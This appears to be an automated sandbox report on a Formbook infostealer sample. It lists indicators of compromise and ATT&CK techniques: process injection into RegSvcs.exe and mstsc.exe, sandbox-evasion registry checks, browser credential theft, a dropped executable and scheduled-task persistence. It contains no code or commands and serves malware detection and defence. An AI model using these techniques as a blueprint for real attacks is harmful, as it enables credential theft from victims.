formbook | 7d3654531c32d941b8cae81c4137fc542172bfa9635f169cb392f245a0a12bcb

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.jfm	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.log	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSStmp.log	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00002.jrs	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jcp	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jtx	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00001.jrs	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 4660 set thread context of 452	4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe	187
PID 452 set thread context of 3528	452	RegSvcs.exe	56
PID 1084 set thread context of 3528	1084	mstsc.exe	56
PID 1340 set thread context of 1688	1340	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe	199
PID 1688 set thread context of 3528	1688	RegSvcs.exe	56
PID 1084 set thread context of 1124	1084	mstsc.exe	100
PID 1084 set thread context of 1740	1084	mstsc.exe	121
PID 1084 set thread context of 3416	1084	mstsc.exe	122
PID 1084 set thread context of 2740	1084	mstsc.exe	123
PID 1084 set thread context of 5072	1084	mstsc.exe	124
PID 1084 set thread context of 348	1084	mstsc.exe	125
PID 1084 set thread context of 2912	1084	mstsc.exe	127
PID 1084 set thread context of 4248	1084	mstsc.exe	142
PID 1084 set thread context of 4196	1084	mstsc.exe	143
PID 1084 set thread context of 4980	1084	mstsc.exe	145
PID 1084 set thread context of 656	1084	mstsc.exe	146
PID 1084 set thread context of 4064	1084	mstsc.exe	147
PID 1084 set thread context of 2236	1084	mstsc.exe	148

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Nybgh8\configufgxdx.exe	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Nybgh8\configufgxdx.exe	mstsc.exe
File opened for modification	C:\Program Files (x86)\Nybgh8	Explorer.EXE
File created	C:\Program Files (x86)\Nybgh8\configufgxdx.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Executes dropped EXE 3 IoCs

pid	Process
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
1340	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
1224	configufgxdx.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2880	1932	WerFault.exe	86

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systray.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	configufgxdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mstsc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3036	cmd.exe
1964	PING.EXE
2336	cmd.exe
3756	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 18 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
1408	taskkill.exe
4996	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 7 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Explorer.EXE
Key created	\Registry\User\S-1-5-21-2211717155-842865201-3404093980-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	mstsc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133832242721285106"	chrome.exe

Modifies registry class 35 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\GroupByKey:PID = "0"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\Vid = "{0057D0E0-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Pictures"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings	mspaint.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\IconSize = "96"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\Mode = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\GroupView = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000050000001800000030f125b7ef471a10a5f102608c9eebac0a000000a0000000b474dbf787420341afbaf1b13dcd75cf64000000a000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000e0859ff2f94f6810ab9108002b27b3d90500000058000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 14002e80d43aad2469a5304598e1ab02f9417aa80000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\NodeSlot = "6"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\LogicalViewMode = "3"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\{B3690E58-E961-423B-B687-386EBFD83239}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE

NTFS ADS 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\0c9e474f7402c958fe8c3cedb97a4830a67599f7a2766aee93cd0c41943db0c1.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\e05390c002d75c6207dc490d9984b38cb095515bb2243be26b9c0fbe6ef2eff3.zip:Zone.Identifier	firefox.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1964	PING.EXE
3756	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2384	schtasks.exe
4408	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
220	EXCEL.EXE
2352	EXCEL.EXE
3528	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
316	chrome.exe
316	chrome.exe
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
1676	powershell.exe
3756	PING.EXE
3756	PING.EXE
4304	powershell.exe
3756	PING.EXE
3756	PING.EXE
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
940	powershell.exe
940	powershell.exe
3232	powershell.exe
3232	powershell.exe
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
4660	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
452	RegSvcs.exe
452	RegSvcs.exe
452	RegSvcs.exe
452	RegSvcs.exe
452	RegSvcs.exe
452	RegSvcs.exe
940	powershell.exe
3232	powershell.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
1340	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
1340	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
4716	taskmgr.exe
4716	taskmgr.exe
2880	powershell.exe
2880	powershell.exe
3036	powershell.exe
3036	powershell.exe
1340	a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
2880	powershell.exe
3036	powershell.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3528	Explorer.EXE

Suspicious behavior: MapViewOfSection 36 IoCs

pid	Process
452	RegSvcs.exe
452	RegSvcs.exe
452	RegSvcs.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1688	RegSvcs.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe
1084	mstsc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 32 IoCs

pid	Process
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
1448	msedge.exe
920	msedge.exe
920	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe
1888	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
